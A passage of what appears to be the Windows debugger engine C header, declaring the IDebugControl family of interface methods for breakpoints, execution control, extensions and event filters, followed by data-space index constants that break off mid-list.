Types\n ) PURE;\n // Returns a full, descriptive name and an\n // abbreviated name for a processor type.\n STDMETHOD(GetProcessorTypeNames)(\n THIS_\n __in ULONG Type,\n __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n // Gets and sets the type of processor to\n // use when doing things like setting\n // breakpoints, accessing registers,\n // getting stack traces and so on.\n STDMETHOD(GetEffectiveProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n STDMETHOD(SetEffectiveProcessorType)(\n THIS_\n __in ULONG Type\n ) PURE;\n\n // Returns information about whether and how\n // the debuggee is running. Status will\n // be GO if the debuggee is running and\n // BREAK if it isnt.\n // If no debuggee exists the status is\n // NO_DEBUGGEE.\n // This method is reentrant.\n STDMETHOD(GetExecutionStatus)(\n THIS_\n __out PULONG Status\n ) PURE;\n // Changes the execution status of the\n // engine from stopped to running.\n // Status must be one of the go or step\n // status values.\n STDMETHOD(SetExecutionStatus)(\n THIS_\n __in ULONG Status\n ) PURE;\n\n // Controls what code interpretation level the debugger\n // runs at. The debugger checks the code level when\n // deciding whether to step by a source line or\n // assembly instruction along with other related operations.\n STDMETHOD(GetCodeLevel)(\n THIS_\n __out PULONG Level\n ) PURE;\n STDMETHOD(SetCodeLevel)(\n THIS_\n __in ULONG Level\n ) PURE;\n\n // Gets and sets engine control flags.\n // These methods are reentrant.\n STDMETHOD(GetEngineOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Gets and sets control values for\n // handling system error events.\n // If the system error level is less\n // than or equal to the given levels\n // the error may be displayed and\n // the default break for the event\n // may be set.\n STDMETHOD(GetSystemErrorControl)(\n THIS_\n __out PULONG OutputLevel,\n __out PULONG BreakLevel\n ) PURE;\n STDMETHOD(SetSystemErrorControl)(\n THIS_\n __in ULONG OutputLevel,\n __in ULONG BreakLevel\n ) PURE;\n\n // The command processor supports simple\n // string replacement macros in Evaluate and\n // Execute. There are currently ten macro\n // slots available. Slots 0-9 map to\n // the command invocations $u0-$u9.\n STDMETHOD(GetTextMacro)(\n THIS_\n __in ULONG Slot,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MacroSize\n ) PURE;\n STDMETHOD(SetTextMacro)(\n THIS_\n __in ULONG Slot,\n __in PCSTR Macro\n ) PURE;\n\n // Controls the default number radix used\n // in expressions and commands.\n STDMETHOD(GetRadix)(\n THIS_\n __out PULONG Radix\n ) PURE;\n STDMETHOD(SetRadix)(\n THIS_\n __in ULONG Radix\n ) PURE;\n\n // Evaluates the given expression string and\n // returns the resulting value.\n // If DesiredType is DEBUG_VALUE_INVALID then\n // the natural type is used.\n // RemainderIndex, if provided, is set to the index\n // of the first character in the input string that was\n // not used when evaluating the expression.\n STDMETHOD(Evaluate)(\n THIS_\n __in PCSTR Expression,\n __in ULONG DesiredType,\n __out PDEBUG_VALUE Value,\n __out_opt PULONG RemainderIndex\n ) PURE;\n // Attempts to convert the input value to a value\n // of the requested type in the output value.\n // Conversions can fail if no conversion exists.\n // Successful conversions may be lossy.\n STDMETHOD(CoerceValue)(\n THIS_\n __in PDEBUG_VALUE In,\n __in ULONG OutType,\n __out PDEBUG_VALUE Out\n ) PURE;\n STDMETHOD(CoerceValues)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_VALUE In,\n __in_ecount(Count) PULONG OutTypes,\n __out_ecount(Count) PDEBUG_VALUE Out\n ) PURE;\n\n // Executes the given command string.\n // If the string has multiple commands\n // Execute will not return until all\n // of them have been executed. If this\n // requires waiting for the debuggee to\n // execute an internal wait will be done\n // so Execute can take an arbitrary amount\n // of time.\n STDMETHOD(Execute)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Command,\n __in ULONG Flags\n ) PURE;\n // Executes the given command file by\n // reading a line at a time and processing\n // it with Execute.\n STDMETHOD(ExecuteCommandFile)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR CommandFile,\n __in ULONG Flags\n ) PURE;\n\n // Breakpoint interfaces are described\n // elsewhere in this section.\n STDMETHOD(GetNumberBreakpoints)(\n THIS_\n __out PULONG Number\n ) PURE;\n // It is possible for this retrieval function to\n // fail even with an index within the number of\n // existing breakpoints if the breakpoint is\n // a private breakpoint.\n STDMETHOD(GetBreakpointByIndex)(\n THIS_\n __in ULONG Index,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n STDMETHOD(GetBreakpointById)(\n THIS_\n __in ULONG Id,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // If Ids is non-NULL the Count breakpoints\n // referred to in the Ids array are returned,\n // otherwise breakpoints from index Start to\n // Start + Count 1 are returned.\n STDMETHOD(GetBreakpointParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Ids,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params\n ) PURE;\n // Breakpoints are created empty and disabled.\n // When their parameters have been set they\n // should be enabled by setting the ENABLE flag.\n // If DesiredId is DEBUG_ANY_ID then the\n // engine picks an unused ID. If DesiredId\n // is any other number the engine attempts\n // to use the given ID for the breakpoint.\n // If another breakpoint exists with that ID\n // the call will fail.\n STDMETHOD(AddBreakpoint)(\n THIS_\n __in ULONG Type,\n __in ULONG DesiredId,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // Breakpoint interface is invalid after this call.\n STDMETHOD(RemoveBreakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT Bp\n ) PURE;\n\n // Control and use extension DLLs.\n STDMETHOD(AddExtension)(\n THIS_\n __in PCSTR Path,\n __in ULONG Flags,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(RemoveExtension)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n STDMETHOD(GetExtensionByPath)(\n THIS_\n __in PCSTR Path,\n __out PULONG64 Handle\n ) PURE;\n // If Handle is zero the extension\n // chain is walked searching for the\n // function.\n STDMETHOD(CallExtension)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR Function,\n __in_opt PCSTR Arguments\n ) PURE;\n // GetExtensionFunction works like\n // GetProcAddress on extension DLLs\n // to allow raw function-call-level\n // interaction with extension DLLs.\n // Such functions do not need to\n // follow the standard extension prototype\n // if they are not going to be called\n // through the text extension interface.\n // This function cannot be called remotely.\n STDMETHOD(GetExtensionFunction)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR FuncName,\n __out FARPROC* Function\n ) PURE;\n // These methods return alternate\n // extension interfaces in order to allow\n // interface-style extension DLLs to mix in\n // older extension calls.\n // Structure sizes must be initialized before\n // the call.\n // These methods cannot be called remotely.\n STDMETHOD(GetWindbgExtensionApis32)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS32 Api\n ) PURE;\n STDMETHOD(GetWindbgExtensionApis64)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS64 Api\n ) PURE;\n\n // The engine provides a simple mechanism\n // to filter common events. Arbitrarily complicated\n // filtering can be done by registering event callbacks\n // but simple event filtering only requires\n // setting the options of one of the predefined\n // event filters.\n // Simple event filters are either for specific\n // events and therefore have an enumerant or\n // they are for an exception and are based on\n // the exceptions code. Exception filters\n // are further divided into exceptions specially\n // handled by the engine, which is a fixed set,\n // and arbitrary exceptions.\n // All three groups of filters are indexed together\n // with the specific filters first, then the specific\n // exception filters and finally the arbitrary\n // exception filters.\n // The first specific exception is the default\n // exception. If an exception event occurs for\n // an exception without settings the default\n // exception settings are used.\n STDMETHOD(GetNumberEventFilters)(\n THIS_\n __out PULONG SpecificEvents,\n __out PULONG SpecificExceptions,\n __out PULONG ArbitraryExceptions\n ) PURE;\n // Some filters have descriptive text associated with them.\n STDMETHOD(GetEventFilterText)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // All filters support executing a command when the\n // event occurs.\n STDMETHOD(GetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n STDMETHOD(GetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n STDMETHOD(SetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n // Some specific filters have arguments to further\n // qualify their operation.\n STDMETHOD(GetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ArgumentSize\n ) PURE;\n STDMETHOD(SetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __in PCSTR Argument\n ) PURE;\n // If Codes is non-NULL Start is ignored.\n STDMETHOD(GetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Codes,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // The codes in the parameter data control the application\n // of the parameter data. If a code is not already in\n // the set of filters it is added. If the ExecutionOption\n // for a code is REMOVE then the filter is removed.\n // Specific exception filters cannot be removed.\n STDMETHOD(SetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // Exception filters support an additional command for\n // second-chance events.\n STDMETHOD(GetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n\n // Yields processing to the engine until\n // an event occurs. This method may\n // only be called by the thread that started\n // the debug session.\n // When an event occurs the engine carries\n // out all event processing such as calling\n // callbacks.\n // If the callbacks indicate that execution should\n // break the wait will return, otherwise it\n // goes back to waiting for a new event.\n // If the timeout expires, S_FALSE is returned.\n // The timeout is not currently supported for\n // kernel debugging.\n STDMETHOD(WaitForEvent)(\n THIS_\n __in ULONG Flags,\n __in ULONG Timeout\n ) PURE;\n\n // Retrieves information about the last event that occurred.\n // EventType is one of the event callback mask bits.\n // ExtraInformation contains additional event-specific\n // information. Not all events have additional information.\n STDMETHOD(GetLastEventInformation)(\n THIS_\n __out PULONG Type,\n __out PULONG ProcessId,\n __out PULONG ThreadId,\n __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,\n __in ULONG ExtraInformationSize,\n __out_opt PULONG ExtraInformationUsed,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG DescriptionUsed\n ) PURE;\n\n // IDebugControl2.\n\n STDMETHOD(GetCurrentTimeDate)(\n THIS_\n __out PULONG TimeDate\n ) PURE;\n // Retrieves the number of seconds since the\n // machine started running.\n STDMETHOD(GetCurrentSystemUpTime)(\n THIS_\n __out PULONG UpTime\n ) PURE;\n\n // If the current session is a dump session,\n // retrieves any extended format information.\n STDMETHOD(GetDumpFormatFlags)(\n THIS_\n __out PULONG FormatFlags\n ) PURE;\n\n // The debugger has been enhanced to allow\n // arbitrary text replacements in addition\n // to the simple $u0-$u9 text macros.\n // Text replacement takes a given source\n // text in commands and converts it to the\n // given destination text. Replacements\n // are named by their source text so that\n // only one replacement for a source text\n // string can exist.\n STDMETHOD(GetNumberTextReplacements)(\n THIS_\n __out PULONG NumRepl\n ) PURE;\n // If SrcText is non-NULL the replacement\n // is looked up by source text, otherwise\n // Index is used to get the Nth replacement.\n STDMETHOD(GetTextReplacement)(\n THIS_\n __in_opt PCSTR SrcText,\n __in ULONG Index,\n __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer,\n __in ULONG SrcBufferSize,\n __out_opt PULONG SrcSize,\n __out_ecount_opt(DstBufferSize) PSTR DstBuffer,\n __in ULONG DstBufferSize,\n __out_opt PULONG DstSize\n ) PURE;\n // Setting the destination text to\n // NULL removes the alias.\n STDMETHOD(SetTextReplacement)(\n THIS_\n __in PCSTR SrcText,\n __in_opt PCSTR DstText\n ) PURE;\n STDMETHOD(RemoveTextReplacements)(\n THIS\n ) PURE;\n // Outputs the complete list of current\n // replacements.\n STDMETHOD(OutputTextReplacements)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // IDebugControl3.\n\n // Control options for assembly and disassembly.\n STDMETHOD(GetAssemblyOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddAssemblyOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveAssemblyOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetAssemblyOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Control the expression syntax.\n STDMETHOD(GetExpressionSyntax)(\n THIS_\n __out PULONG Flags\n ) PURE;\n STDMETHOD(SetExpressionSyntax)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Look up a syntax by its abbreviated\n // name and set it.\n STDMETHOD(SetExpressionSyntaxByName)(\n THIS_\n __in PCSTR AbbrevName\n ) PURE;\n STDMETHOD(GetNumberExpressionSyntaxes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetExpressionSyntaxNames)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n //\n // Some debug sessions have only a single\n // possible event, such as a snapshot dump\n // file; some have dynamic events, such as\n // a live debug session; and others may have\n // multiple events, such as a dump file that\n // contains snapshots from different points\n // in time. The following methods allow\n // discovery and selection of the available\n // events for a session.\n // Sessions with one or more static events\n // will be able to report all of the events\n // when queried. Sessions with dynamic events\n // will only report a single event representing\n // the current event.\n // Switching events constitutes execution and\n // changing the current event will alter the\n // execution status to a running state, after\n // which WaitForEvent must be used to process\n // the selected event.\n //\n\n // GetNumberEvents returns S_OK if this is the\n // complete set of events possible, such as for\n // a static session; or S_FALSE if other events\n // may be possible, such as for a dynamic session.\n STDMETHOD(GetNumberEvents)(\n THIS_\n __out PULONG Events\n ) PURE;\n // Sessions may have descriptive information for\n // the various events available. The amount of\n // information varies according to the specific\n // session and data.\n STDMETHOD(GetEventIndexDescription)(\n THIS_\n __in ULONG Index,\n __in ULONG Which,\n __in_opt PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DescSize\n ) PURE;\n STDMETHOD(GetCurrentEventIndex)(\n THIS_\n __out PULONG Index\n ) PURE;\n // SetNextEventIndex works like seek in that\n // it can set an absolute or relative index.\n // SetNextEventIndex works similarly to SetExecutionStatus\n // by putting the session into a running state, after\n // which the caller must call WaitForEvent. The\n // current event index only changes when WaitForEvent\n // is called.\n STDMETHOD(SetNextEventIndex)(\n THIS_\n __in ULONG Relation,\n __in ULONG Value,\n __out PULONG NextIndex\n ) PURE;\n\n // IDebugControl4.\n\n STDMETHOD(GetLogFileWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PBOOL Append\n ) PURE;\n STDMETHOD(OpenLogFileWide)(\n THIS_\n __in PCWSTR File,\n __in BOOL Append\n ) PURE;\n\n STDMETHOD(InputWide)(\n THIS_\n __out_ecount(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InputSize\n ) PURE;\n STDMETHOD(ReturnInputWide)(\n THIS_\n __in PCWSTR Buffer\n ) PURE;\n\n STDMETHODV(OutputWide)(\n THIS_\n __in ULONG Mask,\n __in PCWSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputVaListWide)(\n THIS_\n __in ULONG Mask,\n __in PCWSTR Format,\n __in va_list Args\n ) PURE;\n STDMETHODV(ControlledOutputWide)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCWSTR Format,\n ...\n ) PURE;\n STDMETHOD(ControlledOutputVaListWide)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCWSTR Format,\n __in va_list Args\n ) PURE;\n\n STDMETHODV(OutputPromptWide)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCWSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputPromptVaListWide)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCWSTR Format,\n __in va_list Args\n ) PURE;\n STDMETHOD(GetPromptTextWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n\n STDMETHOD(AssembleWide)(\n THIS_\n __in ULONG64 Offset,\n __in PCWSTR Instr,\n __out PULONG64 EndOffset\n ) PURE;\n STDMETHOD(DisassembleWide)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DisassemblySize,\n __out PULONG64 EndOffset\n ) PURE;\n\n STDMETHOD(GetProcessorTypeNamesWide)(\n THIS_\n __in ULONG Type,\n __out_ecount_opt(FullNameBufferSize) PWSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PWSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n STDMETHOD(GetTextMacroWide)(\n THIS_\n __in ULONG Slot,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MacroSize\n ) PURE;\n STDMETHOD(SetTextMacroWide)(\n THIS_\n __in ULONG Slot,\n __in PCWSTR Macro\n ) PURE;\n\n STDMETHOD(EvaluateWide)(\n THIS_\n __in PCWSTR Expression,\n __in ULONG DesiredType,\n __out PDEBUG_VALUE Value,\n __out_opt PULONG RemainderIndex\n ) PURE;\n\n STDMETHOD(ExecuteWide)(\n THIS_\n __in ULONG OutputControl,\n __in PCWSTR Command,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(ExecuteCommandFileWide)(\n THIS_\n __in ULONG OutputControl,\n __in PCWSTR CommandFile,\n __in ULONG Flags\n ) PURE;\n\n STDMETHOD(GetBreakpointByIndex2)(\n THIS_\n __in ULONG Index,\n __out PDEBUG_BREAKPOINT2* Bp\n ) PURE;\n STDMETHOD(GetBreakpointById2)(\n THIS_\n __in ULONG Id,\n __out PDEBUG_BREAKPOINT2* Bp\n ) PURE;\n STDMETHOD(AddBreakpoint2)(\n THIS_\n __in ULONG Type,\n __in ULONG DesiredId,\n __out PDEBUG_BREAKPOINT2* Bp\n ) PURE;\n STDMETHOD(RemoveBreakpoint2)(\n THIS_\n __in PDEBUG_BREAKPOINT2 Bp\n ) PURE;\n\n STDMETHOD(AddExtensionWide)(\n THIS_\n __in PCWSTR Path,\n __in ULONG Flags,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(GetExtensionByPathWide)(\n THIS_\n __in PCWSTR Path,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(CallExtensionWide)(\n THIS_\n __in ULONG64 Handle,\n __in PCWSTR Function,\n __in_opt PCWSTR Arguments\n ) PURE;\n STDMETHOD(GetExtensionFunctionWide)(\n THIS_\n __in ULONG64 Handle,\n __in PCWSTR FuncName,\n __out FARPROC* Function\n ) PURE;\n\n STDMETHOD(GetEventFilterTextWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n STDMETHOD(GetEventFilterCommandWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetEventFilterCommandWide)(\n THIS_\n __in ULONG Index,\n __in PCWSTR Command\n ) PURE;\n STDMETHOD(GetSpecificFilterArgumentWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ArgumentSize\n ) PURE;\n STDMETHOD(SetSpecificFilterArgumentWide)(\n THIS_\n __in ULONG Index,\n __in PCWSTR Argument\n ) PURE;\n STDMETHOD(GetExceptionFilterSecondCommandWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetExceptionFilterSecondCommandWide)(\n THIS_\n __in ULONG Index,\n __in PCWSTR Command\n ) PURE;\n\n STDMETHOD(GetLastEventInformationWide)(\n THIS_\n __out PULONG Type,\n __out PULONG ProcessId,\n __out PULONG ThreadId,\n __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,\n __in ULONG ExtraInformationSize,\n __out_opt PULONG ExtraInformationUsed,\n __out_ecount_opt(DescriptionSize) PWSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG DescriptionUsed\n ) PURE;\n\n STDMETHOD(GetTextReplacementWide)(\n THIS_\n __in_opt PCWSTR SrcText,\n __in ULONG Index,\n __out_ecount_opt(SrcBufferSize) PWSTR SrcBuffer,\n __in ULONG SrcBufferSize,\n __out_opt PULONG SrcSize,\n __out_ecount_opt(DstBufferSize) PWSTR DstBuffer,\n __in ULONG DstBufferSize,\n __out_opt PULONG DstSize\n ) PURE;\n STDMETHOD(SetTextReplacementWide)(\n THIS_\n __in PCWSTR SrcText,\n __in_opt PCWSTR DstText\n ) PURE;\n\n STDMETHOD(SetExpressionSyntaxByNameWide)(\n THIS_\n __in PCWSTR AbbrevName\n ) PURE;\n STDMETHOD(GetExpressionSyntaxNamesWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(FullNameBufferSize) PWSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PWSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n STDMETHOD(GetEventIndexDescriptionWide)(\n THIS_\n __in ULONG Index,\n __in ULONG Which,\n __in_opt PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DescSize\n ) PURE;\n\n STDMETHOD(GetLogFile2)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PULONG Flags\n ) PURE;\n STDMETHOD(OpenLogFile2)(\n THIS_\n __in PCSTR File,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(GetLogFile2Wide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PULONG Flags\n ) PURE;\n STDMETHOD(OpenLogFile2Wide)(\n THIS_\n __in PCWSTR File,\n __in ULONG Flags\n ) PURE;\n\n // GetSystemVersion always returns the kd\n // major/minor version numbers, which are\n // different than the Win32 version numbers.\n // GetSystemVersionValues can be used\n // to determine the Win32 version values.\n STDMETHOD(GetSystemVersionValues)(\n THIS_\n __out PULONG PlatformId,\n __out PULONG Win32Major,\n __out PULONG Win32Minor,\n __out_opt PULONG KdMajor,\n __out_opt PULONG KdMinor\n ) PURE;\n // Strings are selected with DEBUG_SYSVERSTR_*.\n STDMETHOD(GetSystemVersionString)(\n THIS_\n __in ULONG Which,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n STDMETHOD(GetSystemVersionStringWide)(\n THIS_\n __in ULONG Which,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n\n // Stack tracing with a full initial context\n // and full context return for each frame.\n // The FrameContextsSize parameter is the total\n // byte size of FrameContexts. FrameContextsEntrySize\n // gives the byte size of each entry in\n // FrameContexts.\n STDMETHOD(GetContextStackTrace)(\n THIS_\n __in_bcount_opt(StartContextSize) PVOID StartContext,\n __in ULONG StartContextSize,\n __out_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __out_bcount_opt(FrameContextsSize) PVOID FrameContexts,\n __in ULONG FrameContextsSize,\n __in ULONG FrameContextsEntrySize,\n __out_opt PULONG FramesFilled\n ) PURE;\n STDMETHOD(OutputContextStackTrace)(\n THIS_\n __in ULONG OutputControl,\n __in_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __in_bcount(FrameContextsSize) PVOID FrameContexts,\n __in ULONG FrameContextsSize,\n __in ULONG FrameContextsEntrySize,\n __in ULONG Flags\n ) PURE;\n\n // Some targets, such as user-mode minidump files,\n // have separate \"event of interest\" information\n // stored within them. This method allows\n // access to that information.\n STDMETHOD(GetStoredEventInformation)(\n THIS_\n __out PULONG Type,\n __out PULONG ProcessId,\n __out PULONG ThreadId,\n __out_bcount_opt(ContextSize) PVOID Context,\n __in ULONG ContextSize,\n __out_opt PULONG ContextUsed,\n __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,\n __in ULONG ExtraInformationSize,\n __out_opt PULONG ExtraInformationUsed\n ) PURE;\n\n // Managed debugging support relies on debugging\n // functionality provided by the Common Language Runtime.\n // This method provides feedback on the engine's\n // use of the runtime debugging APIs.\n STDMETHOD(GetManagedStatus)(\n THIS_\n __out_opt PULONG Flags,\n __in ULONG WhichString,\n __out_ecount_opt(StringSize) PSTR String,\n __in ULONG StringSize,\n __out_opt PULONG StringNeeded\n ) PURE;\n STDMETHOD(GetManagedStatusWide)(\n THIS_\n __out_opt PULONG Flags,\n __in ULONG WhichString,\n __out_ecount_opt(StringSize) PWSTR String,\n __in ULONG StringSize,\n __out_opt PULONG StringNeeded\n ) PURE;\n // Clears and reinitializes the engine's\n // managed code debugging support.\n STDMETHOD(ResetManagedStatus)(\n THIS_\n __in ULONG Flags\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugDataSpaces.\n//\n//----------------------------------------------------------------------------\n\n// Data space indices for callbacks and other methods.\n#define DEBUG_DATA_SPACE_VIRTUAL 0\n#define DEBUG_DATA_SPACE_PHYSICAL 1\n#define DEBUG_DATA_SPACE_CONTROL 2\n#define DEBUG_DATA_SPACE_IO 3\n#define DEBUG_DATA_SPACE_MSR 4\n#define DEBUG_DATA_SPACE_BUS_DATA 5\n#define DEBUG_DATA_SPACE_DEBUGGER_DATA 6\n// Count of data spaces.\n#define DEBUG_DATA_SPACE_COUNT 7\n\n// Indices for ReadDebuggerData interface\n#define DEBUG_DATA_KernBase 24\n#define DEBUG_DATA_BreakpointWithStatusAddr 32\n#define DEBUG_DATA_SavedContextAddr 40\n#define DEBUG_DATA_KiCallUserModeAddr 56\n#define DEBUG_DATA_KeUserCallbackDispatcherAddr 64\n#define DEBUG_DATA_PsLoadedModuleListAddr 72\n#define DEBUG_DATA_PsActiveProcessHeadAddr 80\n#define DEBUG_DATA_PspCidTableAddr 88\n#define DEBUG_DATA_ExpSystemResourcesListAddr 96\n#define DEBUG_DATA_ExpPagedPoolDescriptorAddr 104\n#define DEBUG_DATA_ExpNumberOfPagedPoolsAddr 112\n#define DEBUG_DATA_KeTimeIncrementAddr 120\n#define DEBUG_DATA_KeBugCheckCallbackListHeadAddr 128\n#define DEBUG_DATA_KiBugcheckDataAddr 136\n#define DEBUG_DATA_IopErrorLogListHeadAddr 144\n#define DEBUG_DATA_ObpRootDirectoryObjectAddr 152\n#define DEBUG_DATA_ObpTypeObjectTypeAddr 160\n#define DEBUG_DATA_MmSystemCacheStartAddr 168\n#define DEBUG_DATA_MmSystemCacheEndAddr 176\n#define DEBUG_DATA_MmSystemCacheWsAddr 184\n#define DEBUG_DATA_MmPfnDatabaseAddr 192\n#define DEBUG_DATA_MmSystemPtesStartAddr 200\n#define DEBUG_DATA_MmSystemPtesEndAddr 208\n#define DEBUG_DATA_MmSubsectionBaseAddr 216\n#define DEBUG_DATA_MmNumberOfPagingFilesAddr 224\n#define DEBUG_DATA_MmLowestPhysicalPageAddr 232\n#define DEBUG_DATA_MmHighestPhysicalPageAddr 240\n#define DEBUG_DATA_MmNumberOfPhysicalPagesAddr 248\n#define DEBUG_DATA_MmMaximumNonPagedPoolInBytesAddr 256\n#define DEBUG_DATA_MmNonPagedSystemStartAddr 264\n#define DEBUG_DATA_MmNonPagedPoolStartAddr 272\n#define DEBUG_DATA_MmNonPagedPoolEndAddr 280\n#define DEBUG_DATA_MmPagedPoolStartAddr 